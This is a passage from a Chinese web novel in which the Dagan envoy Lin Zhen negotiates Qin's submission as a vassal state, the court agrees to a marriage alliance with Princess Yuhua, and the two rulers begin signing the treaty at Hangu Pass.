“请坐。”秦襄指了指下首的紫檀木圈椅。 林臻依言坐下。亲卫侍立身后。 “上茶。”秦襄吩咐。 侍女奉上热茶。茶是粗制的砖茶,带着一股浓烈的土腥味。 “林殿下此来所为何事。”秦襄开门见山,声音平淡无波。 “为秦与大乾之未来而来。”林臻声音沉稳。 “哦?”秦襄挑眉,“愿闻其详。” “秦地处西北四战之地。”林臻目光直视秦襄,“东临韩国,西接吐蕃,北抗柔然,南望齐国。连年征战民生凋敝。赢稷陛下雄才大略然年事已高。赢驷太子仁厚然非雄主之才。赢虔野心勃勃秦廷暗流汹涌。秦未来堪忧。” 秦襄面色不变,眼中却闪过一丝不易察觉的波澜。林臻所言,句句戳中秦国痛处。 “林殿下此言危言耸听。”秦襄淡淡道。 “非也。”林臻摇头,“乃实情。吐蕃虎视眈眈,柔然卷土重来,齐国蠢蠢欲动。秦独木难支。” “那依殿下之见。”秦襄问。 “归附大乾。”林臻声音清晰有力。 堂内瞬间寂静。 炭火盆发出轻微的噼啪声。秦襄端着茶盏的手,微微一顿。 “归附。”秦襄缓缓放下茶盏,声音转冷,“林殿下是要我大秦俯首称臣。” “非也。”林臻道,“乃共荣。秦地仍由赢氏自治,大乾不派流官不驻重兵,赢稷陛下可称秦王世袭罔替,秦民享大乾子民同等待遇。” “哦?”秦襄眼中精光一闪,“条件倒优厚,然大乾所图为何。” “图北疆安宁。”林臻道,“秦归附则大乾北境无忧,可全力固守西域漠北,吐蕃柔然再难觊觎,此乃双赢。” “双赢。”秦襄嘴角勾起一丝冷笑,“怕是大乾赢我秦输。” “秦输在何处。”林臻反问。 “输在国格。”秦襄声音低沉,“赢氏世代为秦主,岂能屈居人下。” “国格非虚名。”林臻道,“乃民安国泰,秦归附赢氏仍为秦地之主,秦民免于战火享太平,赋税可减,商路可通,大乾格物之利如铁龙电报皆可惠及秦地,此乃实利。虚名与实利孰轻孰重秦相当知。” 秦襄沉默片刻,指尖无意识地摩挲着暖炉:“林殿下巧舌如簧,然此事关系国本,非老夫一人可决。” “自然。”林臻道,“需赢稷陛下圣裁,然秦相乃国之柱石陛下倚重,秦相之意至关重要。” 秦襄抬起眼,目光如电,直视林臻:“林殿下欲老夫如何。” “为秦谋出路。”林臻声音低沉,“归附非屈辱乃存续之道,秦独木难支,归附大乾则背靠大树可安享太平,赢氏宗庙可保,秦民福祉可增,此乃老成谋国之道。” 秦襄再次沉默。 堂内气氛凝重。 炭火盆的热气似乎也驱不散这无声的寒意。 许久,秦襄缓缓开口,声音带着一丝疲惫与挣扎:“林殿下所言不无道理,然老夫有三问。” “秦相请讲。”林臻道。 “其一赢稷陛下归附后可称秦王然帝号需去,此乃臣服之实,赢氏颜面何存。”秦襄声音低沉。 “帝号虚名。”林臻道,“秦王乃周天子所封古已有之,赢稷陛下称秦王承古制继正统何损颜面,且秦王位同亲王尊荣不减。” “其二,”秦襄继续道,“秦地自治然大乾需派监军驻守要隘以防不测,兵权乃根本,岂能假手于人。” “非监军。”林臻道,“乃协防,驻军不过五千仅守边关,秦地内政军务仍由赢氏统辖,大乾绝不干涉。” “五千,”秦襄沉吟,“何处驻军。” “函谷关武关萧关三处,”林臻道,“扼守秦地门户,防外敌非内患。” “其三,”秦襄目光锐利,“秦地赋税需自主,大乾不得横征暴敛。” “秦地赋税仍按旧制。”林臻道,“大乾只收象征性岁贡白银十万两,余者皆用于秦地民生建设。” “十万两,”秦襄眼中闪过一丝精光,“秦地贫瘠十万两恐难支。” “秦地贫瘠乃战乱所致。”林臻道,“归附后大乾将开通商路,铁龙直通长安,秦地皮毛药材矿产可销中原,中原丝绸瓷器茶叶可入秦地,商贸繁荣赋税自增,十万两不过九牛一毛。” 秦襄再次陷入沉默。 他端起早已凉透的茶盏,却未饮,只是摩挲着杯壁。 林臻提出的条件,看似优厚,实则处处暗藏玄机。 称“秦王”去帝号,是名义上的臣服。 驻军五千于三关,是扼住咽喉。 岁贡十万两,是经济上的捆绑。 开通商路,是经济上的渗透。 归附之后,秦国虽存,却已名存实亡。 然林臻所言,亦是实情。 秦国,确实已到了生死存亡的关头。 赢稷年迈,赢驷懦弱,赢虔野心勃勃。 吐蕃、柔然虎视眈眈。内忧外患,大厦将倾。 归附大乾,或许是唯一的生路。 “林殿下,”秦襄缓缓放下茶盏,声音带着一丝疲惫,“此事关系重大,容老夫思之三日。三日后再议。” “好。”林臻起身,“三日后本宫静候秦相佳音。” 他微微颔首,转身离去。 玄色大氅在身后翻飞,带起一阵冷风。 秦襄独坐堂中,望着林臻离去的背影,苍老的脸上,皱纹更深。 他拿起凉透的茶盏,一饮而尽。 苦涩的茶汤,如同此刻的心境。 归附还是死战。 这关乎秦国命运的抉择,如同千钧重担,压在他心头。 松鹤堂内,炭火噼啪,唯余一声沉重的叹息,在寂静中回荡。 第768章 丞相老糊涂了 三日之期,转瞬即逝。 长安城笼罩在深冬的肃杀之中,寒风卷起街角的积雪,更添几分萧瑟。 秦国皇宫,金銮殿内,气氛凝重如铁。 炭火盆驱不散深入骨髓的寒意,唯有御座之上,秦皇赢稷一身玄黑龙袍,虽年逾六旬,须发皆白,然身形依旧魁梧,目光锐利如鹰,带着一股不怒自威的帝王之气。 殿下,文武百官肃立,鸦雀无声。 所有人的目光,都聚焦在殿中那位须发皆白、躬身而立的紫袍老者——丞相秦襄身上。 “陛下,”秦襄声音苍老,却异常清晰,穿透殿内的寂静,“林臻殿下所提归附大乾之议臣深思三日以为可行。” 此言一出,殿内瞬间哗然! “荒谬!”兵部尚书赢虔大步出列,声如洪钟,脸上带着毫不掩饰的怒意,“丞相老糊涂了!我大秦,立国三百载,威震西陲!岂能向那黄口小儿俯首称臣!归附?此乃亡国之论!” “赢尚书此言差矣。”秦襄面色不变,声音沉稳,“归附非亡国乃存续之道,林殿下承诺赢氏仍为秦地之主称秦王世袭罔替,秦地自治赋税自用,大乾不派流官不驻重兵仅象征性岁贡白银十万两,此乃保全宗庙社稷之策。” “保全?”赢虔冷笑,“五千精兵驻守函谷、武关、萧关!扼我咽喉!名为协防实为监禁!十万岁贡看似不多然秦地贫瘠无异于剜肉补疮!更遑论去帝号称藩王!此乃奇耻大辱!我赢氏宁为玉碎不为瓦全!” “赢尚书忠勇可嘉。”秦襄目光扫过赢虔,带着一丝不易察觉的锐利,“然忠勇需审时度势。如今吐蕃屯兵十万于西境,柔然铁骑游弋阴山以北,南楚蠢蠢欲动,国内连年征战府库空虚民不聊生,赢稷陛下年事已高,赢驷太子仁厚有余刚毅不足,若强敌来犯内忧外患秦何以自保。” 他声音转沉,带着一丝悲凉:“宁为玉碎碎后何存,瓦全虽屈然宗庙可续黎民可安,此乃老臣肺腑之言。” “丞相危言耸听!”户部尚书出列,声音尖利,“吐蕃柔然虽强然我大秦将士骁勇善战!函谷天险一夫当关!万夫莫开!何惧之有!至于府库空虚开源节流即可!岂能未战先降!” “开源节流?”秦襄冷笑,“如何开源?加赋?民怨沸腾。如何节流?裁军?自毁长城。函谷天险可挡一时可挡一世?吐蕃新得焚天雷威力惊人。柔然铁骑来去如风。我大秦疲于奔命终有力竭之时。” “那便死战到底!”赢虔怒吼,“我赢氏子孙宁可战死沙场也绝不摇尾乞怜!” “死战?”秦襄目光如电,直视赢虔,“赢尚书欲以满城百姓之血染红你的忠烈之名?以赢氏宗庙之毁成就你的玉碎之节?” 赢虔脸色涨红,一时语塞。 “陛下!”秦襄不再理会赢虔,转身面向御座,深深一躬,“老臣侍奉三代君王深知江山社稷之重,归附非怯懦乃为秦谋万世之安,林臻殿下雄才大略大乾如日中天,归附可享太平可通商路可借格物之力强我秦邦,此乃以退为进之策,望陛下三思!” 赢稷端坐御座之上,面沉如水,目光深邃,看不出喜怒。 他听着秦襄与群臣的激烈争论,手指无意识地摩挲着龙椅扶手上冰冷的螭首。 秦襄所言,句句戳心。秦国的困境,他比谁都清楚。 然要他放弃帝号,俯首称臣,如同剜心之痛。 赢氏先祖,筚路蓝缕,开创基业,岂能毁于他手。 “丞相所言不无道理。”赢稷终于开口,声音低沉沙哑,带着一丝疲惫,“然归附事关国体尊严。朕需思之。” “陛下!”赢虔急道,“万万不可!此乃……” “住口!”赢稷目光一厉,赢虔立刻噤声。 “林臻何在。”赢稷问。 “回陛下林殿下在驿馆等候。”秦襄道。 “宣他明日入宫觐见。”赢稷道。 “陛下,”秦襄心中一沉。赢稷此言,显然并未下定决心,只是拖延。 “退朝。”赢稷起身,拂袖而去。 “退朝!”内侍高唱。 群臣面面相觑,神色各异。 赢虔狠狠瞪了秦襄一眼,拂袖而去。 其余大臣或摇头叹息,或忧心忡忡,陆续退下。 偌大的金銮殿,只剩下秦襄一人,孤零零地站在殿中,望着空荡荡的御座,苍老的脸上布满愁云。 当夜,丞相府密室。 烛火摇曳,映照着秦襄疲惫而焦虑的脸庞。 他对面,坐着心腹幕僚,一位须发皆白的老者。 “相爷,陛下犹豫不决恐夜长梦多。”幕僚低声道。 “老夫何尝不知。”秦襄长叹一声,“赢稷雄主心高气傲要他低头难如登天。” “然林臻只给三日之期。”幕僚道,“若明日觐见陛下仍不决恐事有变。” “变,”秦襄眼中闪过一丝精光,“林臻此人深不可测。若秦拒之其必转而联吐蕃或柔然共图秦地,届时秦危矣。” “那如何是好。”幕僚问。 秦襄沉默良久,指尖无意识地敲击着桌面。 烛火在他眼中跳跃,映照着深沉的思绪。 忽然,他眼中闪过一丝微光。 “陛下所虑非仅国体尊严。”秦襄缓缓道,“更忧归附之后赢氏安危,林臻虽承诺自治然人心难测,赢稷恐为人质或兔死狗烹。” “相爷所言极是。”幕僚道,“此乃帝王通病。” “若能打消陛下此虑,”秦襄沉吟道,“或可成事。” “如何打消。”幕僚问。 秦襄目光深邃,缓缓道:“联姻。” “联姻?”幕僚一怔。 “将玉华公主嫁与林臻。”秦襄一字一句道。 幕僚倒吸一口凉气:“玉华公主乃陛下掌上明珠最是宠爱,且林臻已有正妃侧妃数人。公主嫁去岂非为妾。” “非妾。”秦襄摇头,“可为平妃,大乾王位同亲王,公主下嫁身份尊贵,林臻必以礼相待。” “此乃和亲。”幕僚道,“然能保赢氏平安?” “能。”秦襄笃定道,“公主嫁去便是纽带。林臻为大乾镇北王一言九鼎。公主在则赢氏安。且公主聪慧温婉若得宠于林臻则赢氏在秦地地位更固。此乃一石二鸟。” “陛下岂肯,”幕僚仍有疑虑。 “陛下爱女心切。”秦襄道,“然更重江山社稷,若知此乃保全赢氏唯一良策或可割爱,且公主嫁去非入龙潭虎穴,大乾富庶繁华远胜秦地,公主可享尊荣,总好过留在秦地担惊受怕。” 幕僚沉默片刻,缓缓点头:“相爷此计甚妙,然需林臻同意。” “林臻为招抚秦国必不会拒绝。”秦襄眼中闪过一丝精光,“此乃双赢,他得美人与秦地,赢氏得平安与延续。” “那相爷明日,”幕僚问。 “明日老夫再入宫面圣。”秦襄起身,眼中闪烁着决然的光芒,“成败在此一举。” 翌日清晨,皇宫御书房。 赢稷一身常服,坐在书案后,面色沉郁。 案上,摊开着北疆军报,吐蕃增兵的消息,如同巨石压在他心头。 “陛下,”秦襄躬身行礼。 “丞相来了。”赢稷声音低沉,“坐。” “谢陛下。”秦襄在锦墩上坐下。 “林臻所提归附之事,”赢稷揉着眉心,“朕思之一夜难决。” “陛下所虑老臣深知。”秦襄道,“非仅国体尊严更忧赢氏归附后安危。” 赢稷目光一凝,看向秦襄。 “陛下乃大秦之主,归附后虽为秦王然寄人篱下恐受制于人。”秦襄声音低沉,“此乃帝王之忌。” 赢稷沉默不语,算是默认。 “老臣有一策或可解陛下之忧。”秦襄道。 “哦?何策。”赢稷问。 “联姻。”秦襄道,“将玉华公主嫁与林臻。” 赢稷猛地抬头,眼中闪过一丝震惊与怒意:“丞相,玉华乃朕爱女,岂能嫁与那已有妻室之人,为妾为妃皆是辱没!” “陛下息怒。”秦襄连忙道,“非妾非妃,乃平妃,大乾王位同亲王,公主下嫁身份尊贵,林臻必以礼相待,且,” 他顿了顿,声音带着一丝恳切:“公主嫁去便是纽带,林臻为大乾擎天柱石一言九鼎,有公主在则赢氏在秦地地位无忧,林臻亦会念及姻亲对陛下对太子多加照拂,此乃以公主一人换赢氏全族平安秦地安宁,陛下三思啊!” 赢稷脸色变幻不定。 震惊、愤怒、挣扎、不舍种种情绪在他眼中交织。 他爱玉华,视若珍宝,然他更是一国之君,肩负着赢氏宗庙、秦国存亡的重担。 “玉华她可愿。”赢稷声音沙哑。 “公主深明大义。”秦襄道,“且大乾帝京繁华远胜长安。公主嫁去可享富贵尊荣。总好过留在秦地他日若国破家亡玉石俱焚。” 赢稷闭上眼,深吸一口气。御书房内,一片死寂。 唯有炭火盆中,木炭燃烧发出的噼啪声,如同他此刻挣扎的心跳。 许久,他缓缓睁开眼,眼中带着一丝疲惫与决绝:“丞相去与林臻谈吧。若他同意此议朕便准了归附。” “陛下圣明!”秦襄深深一躬,眼中闪过一丝如释重负的光芒。 赢稷挥挥手,疲惫地靠在椅背上,仿佛瞬间苍老了十岁。 窗外,寒风呼啸,卷起漫天雪沫。 一场关乎秦国命运的联姻,在这深冬的御书房内,悄然敲定。 第769章 玉华公主 秦国驿馆,暖阁内。 炭火盆驱散了深冬的寒意,空气中弥漫着淡淡的松木清香。 林臻一身玄色常服,端坐于紫檀木圈椅上,手中把玩着一枚温润的羊脂玉佩,目光沉静如水。浣碧侍立一旁,水绿色袄裙衬得她清秀温婉,如同安静的影子。 丞相秦襄端坐对面,苍老的脸上带着一丝不易察觉的疲惫与释然。 “林殿下,”秦襄声音低沉,带着一丝郑重,“陛下已准归附之议。” 林臻眸光微动,指尖玉佩停顿:“善。” “然,”秦襄话锋一转,“陛下有一附加条件。” “哦?”林臻挑眉。 “陛下欲将玉华公主嫁与殿下为平妃。”秦襄道,“以结秦晋之好固两国盟约。” 暖阁内瞬间寂静。炭火盆的噼啪声清晰可闻。 浣碧垂眸,眼睫微颤,随即恢复平静。 林臻神色不变,深邃的眼眸中闪过一丝不易察觉的微澜。 “玉华公主,”林臻缓缓道,“乃赢稷陛下掌上明珠。” “正是。”秦襄颔首,“公主年方二八品貌端方才情出众深得陛下宠爱。此乃陛下为表诚意亦为保赢氏在秦地之安泰。” 林臻沉默片刻。和亲,古已有之。 以公主为纽带,维系两国关系,看似温情脉脉,实则暗藏机锋。 赢稷此举,既是示好,亦是试探,更是为赢氏未来加一道保险。 “公主可愿。”林臻问。 “公主深明大义已应允。”秦襄道。 “好。”林臻颔首,声音沉稳,“本宫应允。” 秦襄眼中闪过一丝如释重负的光芒:“殿下英明。如此秦乾永结同好万民之福。” “然,”林臻话锋一转,“归附乃国事。需两国君主亲签国书昭告天下。” “自然。”秦襄道,“陛下已准于两国交界函谷关设坛盟誓。” “善。”林臻道,“具体事宜烦请秦相与本宫副使详议。” “遵命。”秦襄躬身。 为庆贺和议初成,秦皇赢稷于宫中设宴。 秦国皇宫,麟德殿。 深冬的夜幕低垂,殿内却灯火通明,亮如白昼。 巨大的蟠龙金柱支撑着高耸的穹顶,壁上绘着古老的壁画,描绘着秦国先祖开疆拓土的壮烈场景。 空气中弥漫着浓郁的檀香、酒气以及一种属于古老王朝的、略带腐朽的威严气息。 秦皇赢稷高踞于御座之上,玄黑龙袍在烛火下泛着冷硬的光泽,苍老的面容带着一丝刻意维持的帝王威仪,眉宇间却难掩疲惫与落寞。 殿下,文武百官身着朝服,肃然而立,气氛凝重。 林臻坐于贵宾首位,玄色蟠龙常服衬得他身姿挺拔如松,深邃的眼眸平静无波,如同深潭古井,扫视着殿内的一切。 浣碧一身素雅的水绿宫装,安静地侍立在他身后,如同无声的影子。 丝竹之声悠扬而起,宫宴正式开始。 身着彩衣的宫娥穿梭其间,奉上珍馐美酒。 赢稷举杯,声音低沉沙哑:“林殿下远道而来促成秦乾和议功在千秋,朕敬殿下一杯。” “陛下客气。”林臻举杯回敬,声音沉稳。 酒过三巡,气氛稍显松弛,然殿内依旧弥漫着一种无形的压抑。 赢稷放下酒樽,目光扫过殿内,缓缓道:“为贺和议初成朕特命小女玉华献舞助兴。” 此言一出,殿内瞬间安静下来。 所有目光,或好奇,或探究,或复杂,都齐刷刷地投向那扇沉重的鎏金殿门。 丝竹声悄然一变,从方才的庄重恢弘转为一种空灵、悠远、又带着一丝神秘异域风情的旋律,如同雪山之巅飘落的清冷梵音,在殿内缓缓流淌。 殿门在无声的寂静中,被两名内侍缓缓推开。 一道身影,在无数宫灯的映照下,如同破开夜幕的幽暗流光,缓步而入。 玉华公主。 她的出现,瞬间攫取了所有人的呼吸。 殿内灯火辉煌,却仿佛在这一刻,所有的光芒都黯淡下去,只为映衬她的存在。 她身着一袭玄黑鎏金纹的曳地长裙。 那玄黑并非寻常的墨色,而是如同最深沉子夜的苍穹,深邃得仿佛能吸纳一切光线。 裙身之上,以极细的金线绣满了繁复而古老的图腾——展翅欲飞的火凤凰。 每一片羽毛都纤毫毕现,在烛火的跳跃下,流淌着熔金般的光泽,仿佛随时会挣脱布帛的束缚,翱翔九天。 裙摆宽大,随着她的步伐,在光洁的金砖地面上拖曳出无声的涟漪,金线凤凰在流动中若隐若现,神秘而高贵。 乌发如最上等的墨缎,并未盘成繁复宫髻,而是松松地绾成一个惊鸿髻,几缕碎发垂落颊边,更添几分慵懒与不羁。 发髻之上,斜簪一支赤金点翠凤凰步摇。 那凤凰造型灵动,双翼微张,凤口衔着一颗鸽血红宝石,随着她的步伐,红宝石轻轻摇曳,折射出妖异而璀璨的光芒。 然而,最令人屏息、最引人注目的,是她脸上佩戴的半张面具。 面具以赤金为骨,造型是一只振翅欲飞、栩栩如生的火凤凰。 它巧妙地覆盖了她的右眼及半边脸颊。凤凰的头部高昂,羽翼张扬,以细密如沙的红宝石镶嵌出羽毛的纹理,又以火纹玛瑙勾勒出燃烧的火焰边缘,在烛光下闪烁着灼热而危险的光芒。 面具边缘贴合着她左颊的轮廓,延伸至鬓角,与乌发融为一体。 这面具,如同一个神秘的封印,遮去了她一半的容颜,却将另一半毫无保留地展露在世人面前。 未被面具遮掩的左颊,肌肤白皙胜雪,细腻如最上等的羊脂玉,在玄黑衣裙的映衬下,散发出一种惊心动魄的冷艳光泽。 光洁饱满的额头下,是挺秀如琼玉的鼻梁,线条优美而利落。未被面具触及的唇瓣,如同初绽的玫瑰花瓣,饱满、润泽,带着天然的嫣红,此刻微微抿着,透着一股拒人千里的清冷与疏离。 她的身姿高挑而窈窕,玄黑长裙完美地勾勒出起伏有致的曲线。 削肩、细腰、丰胸、长腿,比例惊人,如同造物主精心雕琢的艺术品。 那是一种充满力量感与诱惑力的美,如同暗夜中悄然绽放的曼陀罗,神秘、魅惑、带着致命的吸引力,又如同雪域高原上傲然独立的雪莲,孤高、冷艳、不容亵渎。 第770章 绝美的狂野女子 她步入殿中,微微颔首,向御座上的赢稷行礼。 动作优雅从容,带着与生俱来的高贵与傲然,仿佛周遭的一切喧嚣与目光都与之无关。随即,她随着那空灵神秘的乐声,翩然起舞。 玄黑的裙裾翻飞,如同暗夜涌动的潮汐,又似燃烧的火焰在风中狂舞。 金线绣制的凤凰图腾在光影流转中活了过来,振翅欲飞。 她的舞姿刚柔并济,既有秦地女子骨子里的飒爽与力量,每一个旋转、跳跃都带着一股不屈的韧劲,又融合了宫廷舞的柔美与韵律,腰肢款摆间,流露出惊心动魄的魅惑。 旋转时,裙摆飞扬如墨莲绽放,火凤凰面具在光影交错中闪烁不定,那只未被遮掩的左眸,清澈如寒潭秋水,深邃如暗夜星辰,偶尔扫过殿内,目光清冽而锐利,带着一丝不易察觉的审视与睥睨,仿佛在无声地宣告着她的骄傲与不驯。 乐声时而急促如骤雨狂风,她的舞步也随之变得迅疾凌厉,裙裾翻飞间,如同浴火凤凰在风暴中搏击;时而舒缓如月照寒江,她的动作又变得柔曼婉约,身姿摇曳,如同暗夜精灵在月光下低吟。 每一次停顿,每一次回眸,都带着一种惊心动魄的力量与美感。那只露在外面的左眸,在面具的衬托下,显得格外明亮、深邃,如同能洞穿人心。 林臻的目光,自她踏入殿门的那一刻起,便未曾移开。 饶是他见惯了世间绝色,后宫之中,上官婉儿的端庄持重,楚惜灵的清冷孤高,张俪的明艳热烈,月妩的淡雅出尘,浣碧的温婉宁静等等妻妾,各有千秋。 然眼前这位玉华公主,却是一种截然不同的存在。 她的美,极具侵略性,带着一种原始的、野性的、充满生命张力的冲击感。 那玄黑的衣裙,火凤凰的面具,半遮半掩的容颜,神秘莫测的气质,构成了一种强烈的视觉与心理冲击。 她像一柄藏在华丽剑鞘中的利刃,锋芒毕露又引人探究;像一团在暗夜中燃烧的火焰,危险又令人无法抗拒地想要靠近;更像一颗遗落在尘世的暗夜明珠,光华内敛却足以照亮整个殿堂。 林臻能清晰地感受到自己内心深处那一丝细微的波澜。 那并非简单的惊艳,而是一种棋逢对手般的欣赏,一种对未知与神秘的探究欲,甚至一丝被挑衅后激起的征服欲。 她的傲然,她的疏离,她面具下那只清冽眼眸中流露出的审视,都像是一种无声的宣战。 一曲终了,玉华公主收势而立,气息微喘,面具下的唇瓣微微张开,更添几分诱人的风情。 她再次向御座行礼,随即,目光毫不避讳地转向林臻。 那只清澈而锐利的左眸,带着一丝探究与毫不掩饰的傲然,直直地迎上林臻深邃的目光。 四目相对,空气中仿佛有无形的火花迸溅。 “林殿下以为小女舞姿如何。”赢稷的声音响起,带着一丝不易察觉的骄傲与试探,也打破了这无声的对峙。 林臻缓缓收回目光,神色依旧平静无波,声音低沉而平稳:“翩若惊鸿婉若游龙。公主才貌双绝名不虚传。” 他的评价中肯而克制,然那短暂的凝视与此刻的平静,已足以说明一切。 玉华公主微微颔首,算是回应,随即转身,在宫女的簇拥下,如同来时一般,翩然退去。 玄黑的裙裾消失在殿门后,只留下满殿的惊叹、低语,以及一缕若有若无、带着冷冽异香的余韵,萦绕在鼻尖,也萦绕在众人心头。 宫宴在一种微妙的氛围中继续,直至夜深方散。 回到驿馆暖阁,炭火驱散了寒意。林臻端坐案前,浣碧奉上热茶。 “夫君那玉华公主,”浣碧轻声开口,声音依旧温婉,却带着一丝不易察觉的复杂,“真美,那面具好生奇特。” “嗯。”林臻接过茶盏,目光落在跳跃的烛火上,“火凤凰乃秦地图腾。公主以此为饰倒也相称。” 他心中清楚,赢稷让玉华公主在此时献舞,绝非单纯助兴。 那是一场精心设计的展示,一次无声的谈判筹码。玉华公主,便是赢稷手中最耀眼、也最具分量的棋子。 翌日,丞相秦襄如约而至。 “林殿下昨夜宫宴可还尽兴。”秦襄寒暄道,目光带着探究。 “甚好。”林臻颔首,“玉华公主舞姿卓绝。” “殿下过誉。”秦襄脸上露出一丝笑容,“公主自幼习舞更通晓诗书骑射乃我大秦明珠。陛下爱之如命。” “嗯。”林臻不置可否。 “那昨日所提和亲之事,”秦襄切入正题,“殿下意下如何。” 暖阁内一片寂静。浣碧垂眸,眼睫微颤。林臻端起茶盏,轻抿一口,目光沉静如水。 “公主品貌无双。”林臻缓缓道,“本宫无异议。” 秦襄眼中瞬间迸发出如释重负的光芒,脸上的皱纹都舒展开来:“殿下英明!此乃秦乾之幸!万民之福!” “然,”林臻放下茶盏,声音转沉,“和亲乃家事。归附乃国事。二者不可混为一谈。” “殿下之意,”秦襄心中一紧。 “归附之议本宫已允。”林臻道,“然需两国君主亲至两国交界函谷关设坛盟誓签订国书昭告天下。此乃国体尊严不容有失。” “函谷关,”秦襄沉吟,“乃秦地门户亦为秦乾交界。地点甚佳。然陛下年事已高长途跋涉” “无妨。”林臻打断他,“有铁龙代步。自长安至函谷一日可达。本宫已传讯帝京。女帝陛下慕容嫣不日将启程亲赴函谷关。” “女帝陛下亲至?”秦襄一惊,随即肃然,“如此甚好!足见大乾诚意!老臣即刻禀报陛下筹备盟誓大典!” “有劳秦相。”林臻颔首。 秦襄躬身告退,步履都轻快了几分。 离开丞相府,返回驿馆的马车内。 浣碧为林臻斟上热茶。 “夫君,”她轻声唤道,声音带着一丝迟疑,“那玉华公主嫁入府中为平妃?” “嗯。”林臻应道,目光落在车窗外飞逝的街景。 长安古都的冬日,萧索中透着沧桑。 “她性子似乎很傲。”浣碧低声道,“那眼神像刀子。” “秦地尚武公主自有傲骨。”林臻道,“无妨。” 他心中了然。 玉华公主绝非温顺的金丝雀。她是一匹烈马,一柄利刃。 和亲,对她而言,或许同样是一场交易,一次使命。 她带着秦国的骄傲与赢氏的尊严嫁入王府,未来如何相处,是驯服还是合作,皆是未知之数。 然眼下,函谷关的盟誓,才是重中之重。 北疆的棋局,已至收官。 这枚和亲的棋子,唯有在国书落定之后,才能真正落子。 马车碾过积雪的街道,驶向驿馆。 车厢内,茶香袅袅,浣碧不再言语,只是安静地陪伴。 林臻闭目养神,脑海中,那玄黑的身影、火凤凰面具、清冽而傲然的左眸,再次清晰浮现。 第771章 秦国归顺 帝京,紫宸殿。 深冬的暖阳透过高耸的琉璃窗棂,洒在冰冷的金砖地面上,映照着殿内沉静而忙碌的景象。 女帝慕容嫣一身明黄常服,端坐于御案之后,正凝神批阅着堆积如山的奏章。 炭火盆驱散了寒意,却驱不散她眉宇间一丝不易察觉的凝重。 北疆局势,南楚异动,新政推行桩桩件件,皆系国运,容不得半分懈怠。 内侍总管轻步上前,躬身呈上一封密封的加急文书:“陛下,殿下自长安八百里加急。” 慕容嫣眸光微抬,放下朱笔,接过文书。 火漆封印完好无损,封皮上“镇北王林臻密奏”的字样,笔力遒劲。 她拆开封口,取出信笺,目光迅速扫过。 信笺之上,林臻的字迹沉稳有力,清晰地汇报了秦国归附谈判的最终结果:秦皇赢稷原则上同意归附,接受“秦王”封号,秦国保留高度自治权,大乾象征性驻军函谷、武关、萧关三处要隘,岁贡白银十万两。然,附加条件为——赢稷嫁嫡女玉华公主为林臻平妃,以固秦晋之好。 慕容嫣的目光在“玉华公主”与“平妃”几字上停留片刻,清丽绝伦的脸上,无波无澜,唯有一双凤眸深处,掠过一丝极淡的、难以言喻的微澜。 她放下信笺,指尖无意识地划过光滑的紫檀木案面。 “陛下,”内侍总管低声询问,“殿下信中所言?” “秦国归附已成。”慕容嫣声音清越平静,听不出喜怒,“然需朕与赢稷亲至函谷关设坛盟誓签订国书。” “函谷关,”内侍总管微惊,“此去千里风雪啊。” “无妨。”慕容嫣打断他,“有铁龙一日可达,传旨。” 她声音转沉,带着不容置疑的威严:“即刻着礼部、工部、兵部会同焚雷司筹备函谷关盟誓大典。调拨铁龙专列护送朕亲赴函谷关。另传讯镇北王朕准其所请和亲之事依议。” “遵旨!”内侍总管躬身领命,迅速退下。 殿内重归寂静。慕容嫣的目光再次落在那封密奏上,指尖轻轻拂过“玉华公主”的名字。 一丝极淡的笑意,在她唇边漾开,带着洞察世事的豁达与身为帝王的胸襟。 “秦国归附北疆大定此乃社稷之福。”她轻声自语,声音在空旷的大殿中低回,“夫君纳一平妃若能换得千里疆土百万生民免于战火值矣。” 在她心中,林臻是她的夫君,更是大乾的王。 他的府邸,如同这紫宸殿,承载的不仅是儿女情长,更是江山社稷的平衡。 多一位身份尊贵、系两国之好的平妃,于大局,百利而无一害。 至于那玉华公主是何等绝色,性情如何,在慕容嫣看来,不过是锦上添花之事。 她信任林臻的定力,更自信于自己在他心中的位置。 这份信任与豁达,源于她身为女帝的格局,也源于她对林臻深沉的理解。 数日后,函谷关。 这座扼守秦地门户、历经千年烽烟的雄关,在深冬的寒风中,巍然矗立。 关城之上,旌旗猎猎,迎风招展。 关前开阔的平地上,一座高耸的汉白玉祭坛拔地而起,坛分三层,饰以蟠龙云纹,庄严肃穆。坛顶中央,矗立着一尊巨大的青铜鼎,鼎内青烟袅袅,直上云霄。 祭坛四周,大乾玄甲禁军与秦国黑甲锐士,分列两侧,盔甲鲜明,刀枪如林,肃杀之气弥漫天地。 空气中弥漫着松柏燃烧的清香、兵戈的冷冽以及一种山雨欲来的凝重。 寒风凛冽,卷起地上的残雪,抽打在人们脸上。 然此刻,关前却鸦雀无声,落针可闻。所有人的目光,都聚焦在祭坛之上。 辰时正刻,号角长鸣,鼓声震天。 东侧,大乾女帝慕容嫣,在文武百官及精锐禁军的簇拥下,缓步登上祭坛。 她一身明黄绣金凤朝服,外罩同色貂裘大氅,头戴九龙九凤赤金冠,珠帘垂落,掩映着清丽绝伦、不怒自威的容颜。 她步履沉稳,仪态万方,每一步都带着帝王的雍容与气度,如同九天凤驾降临凡尘。 西侧,秦皇赢稷,在丞相秦襄及秦国重臣的陪同下,亦登上祭坛。 他身着玄黑蟠龙袍,外罩玄色貂裘,虽身形依旧魁梧,然须发皆白,面容苍老,眉宇间带着难以掩饰的疲惫与落寞。 他步履略显沉重,每一步都仿佛踏在秦国的历史与尊严之上。 两位帝王,于祭坛中央,青铜鼎前,相对而立。目光交汇,平静无波,却蕴含着千钧之力。 “赢稷陛下。”慕容嫣声音清越,穿透寒风。 “慕容陛下。”赢稷声音低沉沙哑。 简单的称呼,已昭示着地位的变迁。 秦国帝号,自此而终。 礼部尚书手捧一卷明黄锦帛,高声宣读:“大乾女帝慕容嫣大秦秦王赢稷谨告天地山川社稷神灵” “今秦感念大乾仁德愿归附大乾永为藩属,大乾允诺赢稷称秦王世袭罔替永镇秦地,秦地自治赋税自用大乾不派流官,大乾驻军五千协防函谷关武关萧关三处要隘保境安民,秦岁贡白银十万两以表臣服,开通商路共享格物之利互通有无,赢稷嫁嫡女玉华公主于大乾镇北王林臻为平妃以固秦晋之好,两国永结盟好互不侵犯共御外侮,此誓天地共鉴日月同昭!若有背弃人神共诛!” 礼毕。 礼部尚书将两份以金线绣龙、玉轴装裱的国书,分别呈于慕容嫣与赢稷面前。 慕容嫣执起御笔,蘸取朱砂,在国书上,于“大乾女帝慕容嫣”的落款处,签下自己的名字。字迹清丽而有力,带着帝王的决断。 